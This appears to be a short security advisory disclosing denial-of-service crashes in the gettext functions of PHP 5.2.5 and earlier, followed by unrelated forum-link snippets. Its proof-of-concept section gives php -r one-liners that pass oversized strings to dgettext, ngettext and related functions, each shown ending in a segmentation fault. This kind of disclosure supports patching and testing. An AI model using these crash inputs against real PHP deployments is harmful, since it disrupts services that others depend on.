PHP <= 5.2.5 Gettext Lib Multiple Denial of service



Application: PHP <= 5.2.5
Web Site: http://php.net
Platform: Unix
Bug: Multiple Denial of service
fonction: Gettext Lib multiple Denial of service
special condition: Default php-memory-limit
Tested on : Debian 4.0 , Ubuntu , Freebsd with Suhosin 0.9.6.2
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

dgettext(),dcgettext(),dngettext(),gettext(),ngettext(),dcgettext() are vulnerable to a Denial of service

=====
3)Proof of concept
=====

Proof of concept example :

root@unsafebox:/# uname -a
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 GNU/Linux

root@unsafebox:/# php -v
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)



========
4)Greets
========
Benjilenoob,team soh, #futurezone, #soh

=====
5)Credits
=====
laurent gaffié



Relevant Pages

  • Re: [Dapper] [bug] fr_FR locale dependant segfault BUG of dd
    ... > Can you plase tell me if it behave the same on you latest Dapper? ... > Where should I report this if it is realy a bug? ... > Erreur de segmentation ...
    (Ubuntu)
  • Re: Problem with XSLT importStyleSheet
    ... The function importStyleSheet() seems to cause ... a Segmentation Violation, ... and the actual PHP script, Example 2526, from ... caused the same Segmentation fault. ...
    (php.general)
  • Re: Problem with XSLT importStyleSheet
    ... running Fedora-6 Linux. ... The function importStyleSheet() seems to cause ... a Segmentation Violation, ... and the actual PHP script, Example 2526, from ...
    (Fedora)
  • Problem with XSLT importStyleSheet
    ... running Fedora-6 Linux. ... a Segmentation Violation, as eg in the following script from ... # php ex2520.php ... Or this script from ...
    (Fedora)
  • Problem with XSLT importStyleSheet
    ... running Fedora-6 Linux. ... a Segmentation Violation, as eg in the following script from ... # php ex2520.php ... Or this script from ...
    (php.general)

Quantcast